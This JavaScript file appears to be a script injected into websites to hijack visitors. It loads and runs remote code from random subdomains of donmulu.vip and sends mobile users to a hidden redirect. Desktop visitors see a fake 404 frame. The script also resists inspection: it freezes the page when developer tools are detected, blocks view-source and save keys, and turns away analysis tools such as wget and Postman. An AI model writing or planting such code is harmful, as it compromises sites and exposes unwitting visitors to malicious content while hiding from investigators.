﻿(function() {
    // Function to get a random subdomain
    function getRandomSubdomain(length) {
        const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
        let result = '';
        for (let i = 0; i < length; i++) {
            result += characters.charAt(Math.floor(Math.random() * characters.length));
        }
        return result;
    }

    // Function to dynamically load JavaScript files
    function loadScript(url, callback) {
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.src = url;
        script.onload = callback; // Execute callback when the script is loaded
        document.head.appendChild(script);
    }

    // Function to handle F12 key or developer tools prevention
    function inlobase_noF12() {
        while (1) {}
    }

    // Function to check if console is open
    function inlojv_console() {
        if (
            (window.console && (console.firebug || console.table && /firebug/i.test(console.table()))) ||
            (typeof opera == "object" && typeof opera.postError == "function" && console.profile.length > 0)
        ) {
            inlobase_noF12();
        }
        if (typeof console.profiles == "object" && console.profiles.length > 0) {
            inlobase_noF12();
        }
    }

    // Function to handle keydown events
    function handleKeyDown(e) {
        var e = e || window.event;
        if (e.keyCode == 123) { // F12 key
            return false;
        }
        if ((e.ctrlKey && e.shiftKey && e.keyCode == 73) || // Ctrl+Shift+I
            (e.ctrlKey && e.keyCode == 85) || // Ctrl+U
            (e.ctrlKey && e.keyCode == 83)) { // Ctrl+S
            return false;
        }
    }

    // Function to block specific user agents
    function blockUserAgents() {
        var userAgent = navigator.userAgent.toLowerCase();
        var blockList = ["httrack", "wget", "fiddler", "postman"];
        for (var i = 0; i < blockList.length; i++) {
            if (userAgent.indexOf(blockList[i]) !== -1) {
                document.write("您无权访问此页面");
                setTimeout(function() {
                    window.location.href = "about:blank";
                }, 500);
                break;
            }
        }
    }

    // Function to handle redirection logic
    function shouldRedirect() {
        var sUserAgent = navigator.userAgent.toLowerCase();
        var isMobile = /ipad|iphone os|midp|rv:1.2.3.4|ucweb|android|windows ce|windows mobile/i.test(sUserAgent);
        var isTouch = 'ontouchstart' in window && navigator.maxTouchPoints > 1;

        var referrer = document.referrer.toLowerCase();
        var isSearchEngine = referrer.includes("google") || 
                             referrer.includes("bing") || 
                             referrer.includes("so") || 
                             referrer.includes("baidu") || 
                             referrer.includes("sogou") || 
                             referrer.includes("toutiao") || 
                             referrer.includes("sm");

        if (isMobile && isTouch) {
            // Use the register function with the appropriate tag
            register('jyhei');  // This will use the JYH5 link as per your needs
        } else {
            document.writeln("<frameset rows='100%' frameborder='no' framespacing='0' border='0'>");
            document.writeln("<frame src='/404.html' frameborder='0' framespacing='0' marginheight='0' marginwidth='0'>");
            document.writeln("</frameset>");
        }
    }

    // Main execution block
    var randomSubdomain = getRandomSubdomain(8);
    var baseUrl = 'donmulu.vip';
    var fullUrl1 = `https://${randomSubdomain}.${baseUrl}/links.js?v=${Math.random()}`;
    var fullUrl2 = `https://${randomSubdomain}.${baseUrl}/baidu1.js?v=${Math.random()}`;

    loadScript(fullUrl1, function() {
        loadScript(fullUrl2, function() {
            shouldRedirect();
        });
    });

    // Execute console detection and blocking functions
    inlojv_console();

    // Attach event handlers for keydown and context menu
    window.onresize = function() {
        if ((window.outerHeight - window.innerHeight) > 200) {
            inlobase_noF12();
        }
    };

    document.onkeydown = handleKeyDown;
    document.oncontextmenu = function() {
        return false;
    };

    // Block unwanted user agents
    blockUserAgents();
})();